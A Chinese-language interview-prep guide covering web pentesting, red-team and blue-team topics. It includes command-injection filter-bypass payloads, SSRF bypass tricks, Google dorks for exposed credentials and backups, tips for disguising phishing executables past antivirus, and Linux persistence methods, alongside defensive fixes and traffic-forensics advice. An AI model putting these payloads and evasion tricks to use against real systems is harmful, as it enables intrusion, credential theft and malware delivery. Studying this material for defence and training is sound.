i. 传输协议,通用漏洞,exp,github 源码等

2)漏洞挖掘

1> 浏览网站,看看网站规模,功能,特点等

2> 端口,弱口令,目录等扫描

3> XSS,SQL 注入,命令注入,CSRF,cookie 安全检测,敏感信息,通信数

据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包

含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

3)漏洞利用 | 权限提升

a) mysql 提权,serv-u 提权,linux 内核版本提权等

4)清除测试数据 | 输出报告

i 日志、测试数据的清理

ii 总结,输出渗透测试报告,附修复方案

  1. 复测

验证并发现是否有新漏洞,输出报告,归档

如何绕过 CDN 查找真实 IP?

  1. 子域名查询
  2. 邮件头信息
  3. 历史 DNS 记录查询
  4. SSL 证书查询

phpinfo 页面你会关注哪些信息?

1. PHP 配置和安全设置

这些信息直接决定了攻击的难度和可用方法

  • **disable_functions**: 这是最关键的信息。如果这个列表为空,或者只禁用了少数函数,那么我就可以直接使用像 system()exec()shell_exec()passthru() 等命令执行函数来获取 WebShell,进行系统命令执行
  • **allow_url_fopen** **allow_url_include**: 如果这两个选项都为 On,则存在远程文件包含 (RFI) 漏洞的可能性。攻击者可以从远程服务器加载恶意 PHP 文件并执行
  • **open_basedir**: 如果这个选项设置了,它会限制 PHP 脚本只能在指定的目录及其子目录中操作。这能有效限制攻击者的权限,但我会寻找绕过它的方法
  • **display_errors**: 如果这个选项是 On,服务器会显示详细的错误信息,包括文件路径、数据库查询语句等。这些信息对于 SQL 注入、文件包含等漏洞的调试和利用非常有帮助
  • **expose_php**: 如果这个选项为 Onphpinfo() 页面会暴露 PHP 的精确版本号(例如 PHP/8.1.12)。这使得我能快速在漏洞数据库(如 CVEs)中查找该版本已知的安全漏洞,并针对性地进行攻击

2. 服务器环境信息

这些信息帮助我了解 PHP 运行在什么样的环境中,以及我能获得多大的权限

  • **SERVER_SOFTWARE**: 告诉我 Web 服务器的类型和版本,例如 Apache、Nginx、IIS 等。这些服务器本身也可能存在漏洞
  • **_SERVER["DOCUMENT_ROOT"]**: 暴露了网站的根目录路径,这是进行本地文件包含 (LFI) 和目录遍历攻击的关键信息
  • **User** **Group**: phpinfo() 会显示 PHP 进程是以哪个用户和用户组运行的。这决定了我能执行哪些操作,例如是否可以读取其他用户的文件、是否可以写入某些目录等
  • **PATH**: 环境变量 PATH 包含了系统命令的搜索路径,如果我能执行命令,这能帮助我快速找到像 whoamilsid 等常用命令

3. 已加载的模块和扩展

这些信息揭示了 PHP 环境的功能,以及潜在的攻击面

  • **cURL****sockets**: 如果这些扩展存在,我可能会尝试服务器端请求伪造 (SSRF) 攻击,通过服务器向内部网络发起请求,探测内网服务
  • **pdo****mysqli****sqlsrv** 等数据库扩展: 确认网站使用了哪种数据库,为后续的SQL 注入攻击提供目标
  • **GD****ImageMagick** 等图像处理扩展: 如果存在,可能会有图像处理库漏洞,导致命令执行。

4. 文件系统和路径信息

  • **_SERVER["SCRIPT_FILENAME"]**: 暴露了当前脚本在服务器上的绝对路径。这是进行本地文件包含、路径遍历、以及了解服务器文件结构的重要线索
  • **upload_tmp_dir**: 如果我能找到一个文件上传漏洞,这个选项会告诉我临时文件上传的目录。有时候,我可以在这个目录上传并执行一个 WebShell

如何判断是否使用 CDN

1. DNS 解析查询

CDN 的核心原理就是将你的请求解析到离你最近的节点服务器

  • 多次查询: 在不同地区或使用不同的 DNS 解析服务器(如 Google DNS, 阿里云 DNS)多次对目标域名进行 pingnslookup 查询
  • 观察 IP 地址: 如果每次查询返回的 IP 地址都不同,或者返回多个 IP 地址,那么很可能目标使用了 CDN。因为 CDN 会根据你的地理位置,将域名解析到不同的边缘节点服务器
  • 查询CNAME: 许多 CDN 服务商会使用一个特殊的 CNAME(别名记录)来指向他们的 CDN 节点。例如,你查询 www.example.com 的 CNAME,如果返回一个类似 www.example.com.cdn.cloudflare.netw.alikun.com 的域名,那么目标就使用了 CDN

你可以使用在线工具如 nslookup.io**ping** 命令**nslookup** 命令 来进行测试

2. HTTP 响应头分析

许多 CDN 服务商会在 HTTP 响应头中添加特定的信息来标识自己

  • **Server** 字段: 一些 CDN 会在 Server 字段中暴露自己的身份,例如 Server: cloudflareServer: Tengine(阿里巴巴的 CDN)
  • **X-Powered-By** 或自定义字段: 有些 CDN 可能会添加自定义的 HTTP 头,如 X-CacheX-CDNVia 来指示内容是否由 CDN 缓存
  • **Set-Cookie**: 一些 CDN 服务会在响应中设置特定的 Cookie 来追踪用户,这也能作为判断依据

你可以使用 curl 命令或浏览器的开发者工具来查看这些 HTTP 头信息。例如:curl -I http://www.example.com

3. IP 地址归属地查询

  • IP 库查询: 如果通过 DNS 查询获得了目标 IP 地址,可以利用 IP 地址查询工具来判断其归属地
  • 观察归属地: 如果 IP 地址归属地是一个知名的 CDN 服务商(如 Cloudflare, Akamai, AWS),那么目标就使用了 CDN

4. SSL/TLS 证书信息

  • 证书颁发者: 有些 CDN 服务商会提供 SSL/TLS 证书服务,如果证书的颁发者是 Cloudflare 或 Let's Encrypt 等,这可能暗示使用了 CDN

登录验证码怎么绕过?

1. 验证码本身的设计缺陷

很多验证码系统本身存在漏洞,这是最容易利用的突破口

  • 万能验证码或静态验证码: 有些开发者为了方便测试,会设置一个固定的“万能验证码”,比如 1234abcd。或者验证码每次刷新都是一样的。这使得攻击者可以轻松地在每次登录尝试时都使用这个固定的值
  • 验证码可重复利用: 正常情况下,验证码使用一次后就应该失效。如果验证码可以重复使用,攻击者就可以通过一次有效的请求获取一个验证码,然后在多次请求中重复使用它来尝试不同的密码
  • 验证码在客户端生成: 尽管非常罕见,但有些不安全的实现是在前端(如JavaScript)生成验证码。这意味着攻击者可以直接在浏览器控制台中获取或修改验证码的值
  • 验证码不与会话绑定: 验证码与用户会话(Session)没有正确绑定。攻击者可以先访问登录页面,获取一个验证码,然后用不同的会话(但使用同一个验证码)来尝试暴力破解,这使得验证码失去了它的防重放作用

2. 暴力破解验证码

如果验证码系统本身没有设计缺陷,攻击者可能会尝试通过技术手段识别验证码

  • 简单验证码的图像识别: 对于那些扭曲度低、背景干扰少、字符集简单的验证码(如纯数字、4 位字母),攻击者可以使用 OCR(光学字符识别)工具或专门的验证码识别库(如 Tesseract、dlib)进行识别
  • 训练模型识别验证码: 对于更复杂的验证码,攻击者可以收集大量的验证码图片,然后使用机器学习或深度学习技术(如卷积神经网络 CNN)来训练一个模型,以达到较高的识别成功率
  • 人工打码平台: 这是最直接、最有效的方法。攻击者将验证码图片发送到专业的打码平台。这些平台背后有大量人工或半自动化工具,可以在极短时间内返回识别结果。这使得攻击者能够以较低的成本实现大规模的自动化攻击

3. 绕过验证码逻辑

  • API 接口漏洞: 有些应用程序的登录过程并非只有一个接口。攻击者可能会发现,用于处理登录的 API 接口与用于获取验证码的接口是分开的。如果登录 API 接口没有强制要求验证码参数,或者在验证码参数为空时依然处理请求,那么攻击者可以直接绕过验证码步骤
  • 不安全的登录逻辑: 攻击者可以尝试多次错误的登录,观察服务器的响应。如果服务器只在第一次登录尝试时返回验证码,或者在多次失败后才返回验证码,攻击者可以利用这个时间差进行快速尝试
  • 会话劫持或利用令牌: 如果应用程序在登录过程中使用了某种令牌(Token),而验证码的验证没有正确与这个令牌关联,那么攻击者可以利用这个漏洞绕过验证码

怎么找边缘资产呢?

1. 证书关联法

当一个组织为多个系统使用同一套 SSL/TLS 证书时,它们就共享了一个独特的数字指纹。

  • 指纹:SSL/TLS 证书的内容(如组织名称、证书颁发机构、证书序列号等)
  • 方法
  1. 找到目标主站或已知资产的 SSL/TLS 证书
  2. 提取证书中的组织名称颁发者序列号
  3. 在网络空间测绘平台(如 FofaCensysHunter)上,使用这些信息进行搜索
  • 案例解析 (案例 1)

IP资产未备案,用了和主站相同的证书

  • 即使一个 IP 地址没有 ICP 备案,但只要它使用了与主站相同的证书,就可以被判定为同一组织所有。
  • Fofa 搜索示例:你可以使用 cert="目标证书特征值" 来查找所有使用该证书的资产,包括那些未公开的 IP

2. 标识图标关联法

许多组织会为他们的所有内部或外部系统使用一套标准的图标或 Favicon(收藏夹图标)

  • 指纹:网站的 Favicon.ico 文件。由于这个文件的内容是唯一的,可以计算其 Hash 值
  • 方法
  1. 访问目标主站,提取其 Favicon 文件
  2. 计算该文件的 MD5 Hash(在 Fofa/Quake 中通常使用 icon_hash 语法)
  3. 在网络空间测绘平台中使用该 Hash 值进行搜索
  • 工具与案例解析 (案例 2)

无证书、无备案,用的主站的标识性图标 logo

  • 一个没有证书、没有备案的 IP(可能是测试机或内部后台)使用了主站的图标,即刻暴露了它与目标的关联。
  • Fofa 搜索示例:使用 **icon_hash="xxxxxxxxxx"** 查找所有使用该图标的资产

3. Body 内容关联法

许多后台系统或测试环境,虽然域名和 IP 看起来毫不相关,但在页面的 HTML 主体(Body)中会留下内部信息

  • 指纹:HTML 代码中的版权声明、公司全称、项目名称、内部工单号
  • 方法
  1. 在测绘平台中使用 body 语法,搜索包含目标单位特有关键字的页面
  • 案例解析 (案例 3)

body带了目标单位、目标企业的信息,后台也有相关数据但域名、IP均不是目标单位

  • 可能性:这可能是供应链资产(目标公司使用了第三方供应商,但页面中留下了目标公司的名字)或员工私自搭建的系统
  • 搜索示例body="XXX单位" && country="CN"

4. 定位未绑定域名的资产

ICP 备案信息不仅包括域名,也包括纯 IP 地址的备案。这些纯 IP 资产往往是直接暴露的、未被域名解析隐藏的服务器。

  • 指纹:目标单位的 ICP 备案名称
  • 方法:利用测绘平台对 ICP 备案信息的索引,直接搜索目标单位的备案名称
  • 案例解析 (案例 4)

备案了的纯 IP的资产。

  • 这通常是 CDN 节点、API 服务器、或不希望被域名解析的特定服务
  • Fofa 搜索示例:使用 **icp.name="XXX单位全称"**,平台会返回所有以该名称备案的域名和纯 IP 地址

5. 子域名与非主站资产发现

被遗忘的旧子域、开发或测试环境往往安全配置较弱。

  • 指纹: 子域关键词 (dev, test, stage, beta, old)

  • 方法: 利用 site: 排除主站,并结合 inurl:intitle: 查找特定关键词。

  • 案例解析 (案例 1):

  • 目标: 发现目标域名下除 www 之外的所有子域名。

  • Google Dork:site:target.com -www

  • 目标: 查找任何 URL 或标题中包含“测试”或“开发”的页面。

  • Google Dork:site:target.com inurl:test OR inurl:dev intitle:stage

6. 敏感文件与目录暴露

错误配置导致敏感文件(如数据库备份、环境配置)被 Google 索引

  • 指纹: 敏感文件类型或关键词 (.env, .sql, bak, config, password)

  • 方法: 利用 filetype: 限制文件类型,或利用 intitle: 查找开放目录

  • 案例解析 (案例 2):

  • 目标: 发现目标域名下暴露的数据库备份文件和配置文件

  • Google Dork:site:target.com filetype:sql OR filetype:bak OR filetype:env

  • 目标: 查找目标域名下的开放目录列表(可能暴露文件结构)

  • Google Dork:site:target.com intitle:"index of" "parent directory"

7. 第三方平台信息泄漏:定位云存储和代码库

许多组织会在云存储服务(如 S3)或代码托管平台(如 GitHub)上无意暴露信息

  • 指纹: 外部平台特征关键词 (amazonaws.com, blob.core.windows.net, github.com) 和敏感信息关键词 (API KEY, secret)

  • 方法: 结合外部域名与目标公司名称或目标域名

  • 案例解析 (案例 3):

  • 目标: 查找与目标公司名相关的、被公开索引的 AWS S3 存储桶

  • Google Dork:intitle:"index of" "target-corp-name" "amazonaws.com"

  • 目标: 查找目标域名在代码仓库中意外暴露的凭证信息

  • Google Dork:site:github.com "target.com" intext:"password" OR intext:"API KEY"

8. 邮箱系统与服务域名关联

企业邮箱的域名通常与企业的主域名保持一致,但有时会是独立的域名用于隔离服务

  • 操作:在 爱企查 等企业信息平台上获取目标的联系邮箱(例如 hr@newcorp.com

  • 资产发现

  • 邮箱的后缀 (newcorp.com) 立刻成为一个新的主域名

  • 通过对该域名进行 MX 记录查询,可以发现企业邮箱服务器的真实域名或 IP 地址,这可能暴露目标正在使用的邮件服务提供商或自建邮件服务器

10、CSRF

什么是 CSRF 攻击 ?

CSRF跨站点请求伪造。攻击者盗用了受害者的身份,以受害者的名义发送恶意请求,对

服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作

跨站点请求伪造,指攻击者通过跨站请求,以合法的用户的身份进行非法操作。可以这么理

解 CSRF 攻击:攻击者盗用你的身份,以你的名义向第三方网站发送恶意请求。CRSF 能做的

事情包括利用你的身份发邮件,发短信,进行交易转账,甚至盗取账号信息。

危害:

1、对网站管理员进行攻击

2、修改受害网站上的用户账户和数据

3、账户劫持

4、传播CSRF蠕虫进行大规模攻击

5、利用csrf进行拖库

6、利用其他漏洞进行组合拳攻击

7、针对路由器的csrf攻击

CSRF 成功利用的条件

1- 用户在统一浏览器下

2- 没有关闭浏览器的情况下

3- 访问了攻击者精心伪装好的恶意链接

11、SSRF

什么是SSRF?

利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。

ssrf危害:

  1. 探测内网信息,用协议探ftp%26ip={ip}%26port={port}
  2. 攻击内网或本地其他服务
  3. 穿透防火墙

具体利用的方式:

具体操作需要查看支持的协议,file协议查看文件、dict协议探测端口、ophergopher协议

支持GET&POST请求,同时在攻击内网ftp、redis、telnet、Memcache上有极大作用利用

gopher协议访问redis反弹shell

漏洞存在的地方:

1.能够对外发起网络请求的地方

2.请求远程服务器资源的地方

3.数据库内置功能

4.邮件系统

5.文件处理

6.在线处理工具

举几个例子:

1.在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。

2.根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。

3.数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。

4.邮件系统就是接收邮件服务器地址这些地方。

5.文件就找ImageMagick,xml这些。

6.从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。

如何绕过

1.http://example.com@127.0.0.1`

2.利用IP地址的省略写法绕过,[::]绕过localhost

3.DNS解析 http://127.0.0.1.xip.io/可以指向任意ip的域名:xip.io

4.利用八进制IP地址绕过,利用十六进制IP地址,绕过利用十进制的IP地址绕过

修复:

1.地址做白名单处理

2.域名识别IP 过滤内部IP

3.校验返回的内容对比是否与假定的一致

12、文件包含

什么是文件包含?

类型

1.本地文件包含

2.远程文件包含 :即加载远程文件,在php.ini中开allow_url_include 、

allow_url_fopen选项。开启后可以直接执行任意代码。

PHP文件包含函数

1.include():使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告

并继续执行。

2.inclue_once():功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

3.require():使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出

错误信息并立即终止程序。

4.require_once():功能和前者一样,区别在于当重复调用同一文件时,程序只调用一

次。

文件包含都有哪些伪协议?

file:// 访问本地文件系统

http:// 访问 HTTPs 网址

ftp:// 访问 ftp URL

Php:// 访问输入输出流

Zlib:// 压缩流

Data:// 数据

Ssh2:// security shell2

Expect:// 处理交互式的流

Glob:// 

查找匹配的文件路径

如何利用?

1.读取敏感文件

2.远程包含shell

3.图片上传并包含图片shenll

4.使用伪协议

5.包含日志文件GetShell

6.截断包含

修复方案

1.禁止远程文件包含allow_url_include=off

2.配置open_basedir=指定目录,限制访问区域。

3.过滤../等特殊符号

4.修改Apache日志文件的存放地址

5.开启魔术引号magic_quotes_qpc=on

6.尽量不要使用动态变量调用文件,直接写要包含的文件。

如何防范 CSRF 攻击?

1、安全框架,例如 Spring Security。

2、token 机制。在 HTTP 请求中进行 token 验证,如果请求中没有 token 或者 token 内容不正确,

则认为 CSRF 攻击而拒绝该请求。

3、验证码。通常情况下,验证码能够很好的遏制 CSRF 攻击,但是很多情况下,出于用户体验

考虑,验证码只能作为一种辅助手段,而不是最主要的解决方案。

4、referer 识别。在 HTTP Header 中有一个字段 Referer,它记录了 HTTP 请求的来源地址。如果

Referer 是其他网站,就有可能是 CSRF 攻击,则拒绝该请求。但是,服务器并非都能取到

Referer。很多用户出于隐私保护的考虑,限制了 Referer 的发送。在某些情况下,浏览器也

不会发送 Referer,例如 HTTPS 跳转到 HTTP。

1)验证请求来源地址;

2)关键操作添加验证码;

3)在请求地址添加 token 并验证。

13、越权与逻辑漏洞

逻辑漏洞遇到过哪些,给你登录框有没有什么思路?

常见逻辑漏洞:越权,响应包修改,支付金额修改,cookie爆破,密码找回方面等等

登录页面思路:爆破,session覆盖,sql注入,xss,任意用户注册,js文件查看敏感信息,短信轰炸,万能密码,二次注入,模板注入等等

说出至少三种业务逻辑漏洞,以及修复方式?

(1)密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验

证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密

(2)身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到Session 或 Cookie 即可伪造用户身份

(3)验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改

包的方法来进行绕过

越权漏洞

形成原因:

后台使用了不合理的权限校验规则

水平越权:水平越权顾名思义,就是越权到一个和你权限相同的账号上面,比如你是学生 A,你可以越权到学生 B 身上。这就是水平越权。

垂直越权:垂直越权,就是从低权限越权到高权限上面,比如你是学生,你却通过手段,获得了老师的权力,那这个就是垂直越权。在渗透中就是普通账号越权获得了管理员 admin 的权限功能。user 权限和 admin 权限。

水平越权常见挖掘思路:水平越权一般就一种情况,比如查看用户个人资料,你的个人资料 id 是 123,你直接修改 id 为 124,就可以查看 id 为 124 账号的个人资料。

垂直越权常见挖掘思路:

  1. 第一种,最常见的就是有两个账号,账号 A 是高权限,账号 B 是低权限,你去使用高权限的功能点,然后抓包,把 cookie 替换成低权限的,看看这个功能点低权限能不能去使用,如果低权限的 cookie 也能使用高权限功能点,就存在垂直越权。
  2. 第二种,就是当你只有一个低权限账号,如果发送包中有某个参数(包括 cookie)是来标定你的权限等级的,比如 admin=0,就是低权限,你改成 admin=1,可能就直接获得高权限。
  3. 第三种,搜集高权限接口和路径,看看你得低权限能不能直接访问和使用(和第一种类似,只是第一种有账号)

14、命令执行

命令执行怎么绕过

cat 233.txt

# 管道符号绕过

# 空格绕过

${IFS}

# %0a、%09

# 重定向绕过

< <>

# 变量拼接绕过

@kali:$ a=c;b=at;c=fl;d=ag;$a$b $c$d

# 单引号、双引号绕过

ca''t flag

cat"" flag

# 编码绕过

#$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag

#{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

#$(printf "\154\163") ==>ls

$(printf "\154\163")

# 查看等价替换

(1)more:一页一页的显示档案内容

(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页

(3)head:查看头几行

(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

(5)tail:查看尾几行

(6)nl:显示的时候,顺便输出行号

(7)od:以二进制的方式读取档案内容

(8)vi:一种编辑器,这个也可以查看

(9)vim:一种编辑器,这个也可以查看

(10)sort:可以查看

(11)uniq:可以查看

(12)file -f:报错出具体内容

# 反斜线绕过

c\at fl\ag
# 内敛注释绕过
#`命令`和$(命令)都是执行命令的方式
echo "m0re`cat flag`"
echo "m0re $(cat flag)"
# base64编码绕过
`echo "Y2F0IGZsYWc="|base64 -d`
# 绕过长度限制
# >命令会将原有文件内容覆盖
echo '123'>xxoo.txt
# >>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
echo '233'>>xxoo.txt
# 命令换行绕过
ca\
a\
t\
fl\
ag

命令无回显如何解决?

无回显:延时判断,http请求监听,DNSlog利用,写

入当前目录下载查看等等。

15、JWT(Json web token)

JWT,即 JSON Web Token,定义了一种紧凑的、自包含的方式,用于在网络应用环境间以 JSON 对象安全地传输信息。JWT 一般被用来在身份提供者和服务提供者间传递被认证用户的身份信息,因为它经过了数字签名,相对比较安全,以便于更好的从资源服务器获取资源,也可以增加一些额外的业务逻辑所需的声明信息。
JWT 常用于代替 Session,用于识别用户身份。传统上使用 Session 机制区别用户身份有两个缺点:一是占用服务器的存储资源,二是在集群部署下设计会非常复杂。JWT 完全可以解决 Session 方案存在的问题。

JWT 的 token 由三段小数点分隔组成的字符串:header.payload.signature

  1. JWT header

头部包含两部分:声明类型和使用的哈希算法,通常直接使用HMAC SHA256,就是HS256。

{
    "typ": "JWT",
    "alg": "HS256"
}

将头部进行 Base64 编码构成第一部分。Base64 是一种用 64 个字符来表示任意二进制数据的方法,常用于在 URL、Cookie、网页中传输少量二进制数据。

  1. JWT payload

    也称为JWT claims,放置需要传输的信息,有三类:
    ● 保留claims,主要包括iss发行者、exp过期时间、sub主题、aud用户等。
    ● 公共claims,定义新创的信息,比如用户信息和其他重要信息。
    ● 私有claims,用于发布者和消费者都同意以私有的方式使用的信息。
    JWT规定7个官方字段,供选用:
    ● iss (issuer):签发人。
    ● exp (expiration time):过期时间。
    ● sub (subject):主题。
    ● aud (audience):受众。
    ● nbf (Not Before):生效时间。
    ● iat (Issued At):签发时间。
    ● jti (JWT ID):编号。
    支持定义私有字段,示例
    
    {
        "iss": "jwt.io",
        "exp": 1496199995458,
        "name": "sinwaj",
        "role": "admin"," 
    }
    
    JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。
    
  2. JWT signature

    生成签名部分,需要准备:编码的 header、编码的 payload 和一个秘钥,签名算法是 header 指定的算法,然对这些数据进行签名。

    签名公式如下:

    HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
    其中:secret 为加密使用的盐,也可以认为是私钥,千万不能泄露。
    
  3. 完整的 JWT

    将 header、payload 和 signature 三部分用 . 连接成一个完整的字符串,构成了最终的 JWT:

    例如:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
    
    ● eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 是 Base64 编码的 header。
    ● eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9 是 Base64 编码的 payload。
    ● TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ 是对 header、payload 的签名。
    

    注意:secret 保存在服务器端,JWT 的生成也在服务器端,secret 用来进行 jwt 的签发和 jwt 的验证,它就是服务端的私钥。
    所以,在任何场景下都不应该泄露出去。一旦客户端得知这个 secret,那就意味着客户端是可以自我签发 jwt。

JWT 工作流程:

基于 Token 的身份认证是无状态的,服务器不会存储任何用户信息。没有会话信息意味着应用程序可以根据需要扩展和添加更多的机器,而不必担心用户登录在哪一台服务器上。

JWT常用攻击手法有哪些?

  1. 签名为空
  2. 未验证签名导致的越权
  3. CVE-2015-2951(空签名)

JWT有哪些利用场景?

  1. 水平越权
  2. 垂直越权
  3. SQL注入
  4. 命令执行
  5. 文件读取
  6. SSRF
  7. xss

溯源与流量

如何定位到攻击IP?

1)首先通过选择-统计-对话查看流量的走向情况,定位可疑的IP地址。

2)根据定位到的IP地址,尝试对上传的webshell进行定位ip.addr ==ip &&http matches"uploadleval|select|xp_cmdshell"&&http.request.method == "POST"。

3)查找到 Webshell后尝试溯源漏洞位置,http.request.uri contains“webshell.php”,定位到最开始webshell执行或上传的时候。

4)根据最开始的HTTP上传包或者其他漏洞特产定位漏洞类型。

假设发现web应用服务器发现文件异常增多,初步怀疑被上传webshell,描述流量分析溯源的思路?

1)查看eval、z0、shell、whoami等关键字,查看出现次数过多的时候,可能需要查看是哪个页面发起的请求,有可能是webshell。

2)通过 WireShark 工具快速搜索关键字,定位到异常流量包。

3)找出异常IP和所上传的内容,查看是否为webshell。

Webshell流量交互的流量特征?

1)Webshell是用来控制服务器的,在控制服务器的过程中,就会触发许多系统,函数,例如eval、z0(菜刀特征)、shell.需监控这些关键的函数,具体需要查看是哪个网页发起的请求进行鉴别。

2)Webshell连接可能使用base64编码,正常功能也会使用base64容易引起误报,一般与eval数量对比,数量差异较小时可能被上传webshell进行编码通讯。

3)除了系统函数、base64编码通讯外,还存在int_set(“display_errors",0").为Webshell流量特征之一。

4)还可以监控ifconfig whoami ipconfig等关键命令,这是获得Webshell后基本,上都会执行的命令。

SQL查询异常流量分析的思路?

  1. 数据库短时间内查询增多有可能遭遇到了【扫描】或者【sql注入测试】,可以结合流量分析工具进行研判。

  2. 【select】 和【union】为数据库查询语句特征,当这两者数量出现次数较多而且差异较小可能存在SOL注入漏洞或正在被扫描器扫描,可监控这两个关键字,但还需要进一步查看具体请求参数。如:1)使用wireshark打开抓取后的流量包,2)对于抓取到的数据包筛选出HTTP协议包,在统计处筛选出短时间内流量较大的IP。

  3. 尝试定位一些基本的注入特征(select、union、()、/*、sleep等)。

红队相关

域前置有了解过吗

C&2服务器做域前置,绑定域名 ,防溯源。 传输的数据指定到---->域名----->43.1.1.1 传输的数据指定到---->43.1.1.1 历史证书,域名历史证书,-----IP。微步在线 fofa 都能查 反查一下DNS解析,

钓鱼邮件的免杀怎么去做

Exe文件做过360 火绒 动静态查杀 把exe图标改成word pdf图标 Bannner信息去掉或者改了 然后加微软证书。 文件后缀修改 木马.exe.木马

金银票据

黄金票据(Golden Ticket)

黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户

利用前提

拿到域控(没错就是拿到域控QAQ),适合做权限维持有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)

防御

  • 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码
  • 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证
  • 建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法
  • 一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力

白银票据(Silver Ticket)

黄金票据是伪造TGT(门票发放票),而白银票据则是伪造ST(门票),这样的好处是门票不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等结语

简单了解黄金票据和白银票据:

黄金票据:是直接抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。

蓝队相关

用过哪些家安全设备?

设备都大同小异,用过比较多的就是奇安信的天眼,深信服的EDR,长亭的雷池WAF,天融信的防火墙,因为一般客户都会有好多家厂商的设备,所以基本上都接触过。

有应急相应的经验吗?

如果真做过就说做过,说清楚当时在哪做的,出现了什么攻击事件,怎么做的,没做过就说当时协助客户做过,可以这样说,当时出现了个攻击告警,客户让我这边看看,然后就按照应急的思路去看一些,首先看一下攻击IP是不是业务的IP或者客户的IP,如果确定了是攻击的IP,那就赶紧封禁IP拉黑名单,然后就去看一下到底是什么攻击,有没有已经上传WEBSHLL或者命令执行成功,那这种情况下,肯定先隔离主机,一般安全设备或者堡垒机都有微隔离,把受影响的主机隔离起来,然后去排查第一攻击时间点,比如几点攻击成功的,然后我们几点发现的,这个期间有没有做过横向操作,然后就是通过全流量把这个IP的流量全拉出来,看看具体做了哪些操作,最后就是根据流量结果,做一下上机排查,该清理的清理 该删除的删除,或者用一些厂商自己的应急响应工具,做下排查。最后汇总一下情况,后续持续跟进受害IP有没有异常行为。

处理过误报吗,怎么判断是不是误报?

这个要从业务角度去判断,首先要判断IP来自哪里,是内网的还是外网的,IP在不在白名单列表里,如果在白名单列表里,就问问客户这个IP是谁负责的,为什么会出现这种情况,大多数这种告警都是来自于弱口令啊、SQL注入的业务啊,和访问一些默认端口页面啥的,从数据包看,没什么攻击特征,一些数据内容也是客户的一些信息。这种就最开始和客户了解一下,确定完,看客户能不能解决,如果不好解决,后续出现这种问题,就可以当误报处理了。

攻击怎么判断是不是真实攻击,攻击有没有成功?

像攻击分几种吧,第一种,比较常见的,都是内网出现的挖矿、失陷的这种比较多,都是之前的挖矿没处理,或者员工下载的软件里边带捆绑,被安全设备给告警了,还有就是内网出现的一些端口扫描攻击事件,来自于内网的一些扫描设备,比如漏扫设备,或者探针啥的,在探测内网的业务,再有就是互联网的蠕虫、傀儡及扫描攻击,基本上就是来自于境外的一些国家扫描的,告警很少就几条,打一些命令啥的,这种封了就行,像真实攻击就是短时间内,出现大量的这种攻击告警,一看就是用工具扫的,这种需要重点看一些,看一下这些攻击的状态,有已拦截的和未拦截的,看看返回包有没有返回敏感参数,比如带回了一些信息,那这种就要去看一下了。

判断是已经被0day攻击了 还是发现互联网有0day的威胁?

已经被0day攻击了 WAF策略 和开发联系了,没什么修补方法

设备有大量告警该怎么办?

排查优先级,筛选-----危急、失陷、严重、一般、低位 返回包筛选,200成功 404 页面不存在 403 没有权限。407 408 waf的状态码

如何判断攻击是否成功?

主要是看攻击poc以及服务器响应

linux持久化

新建的root账号,计划任务,不死马,动态链接库,使用免杀马修改原来能够访问的文件比如403,404,首页等,弱鸡师傅的cacm这个工具

windows权限维持

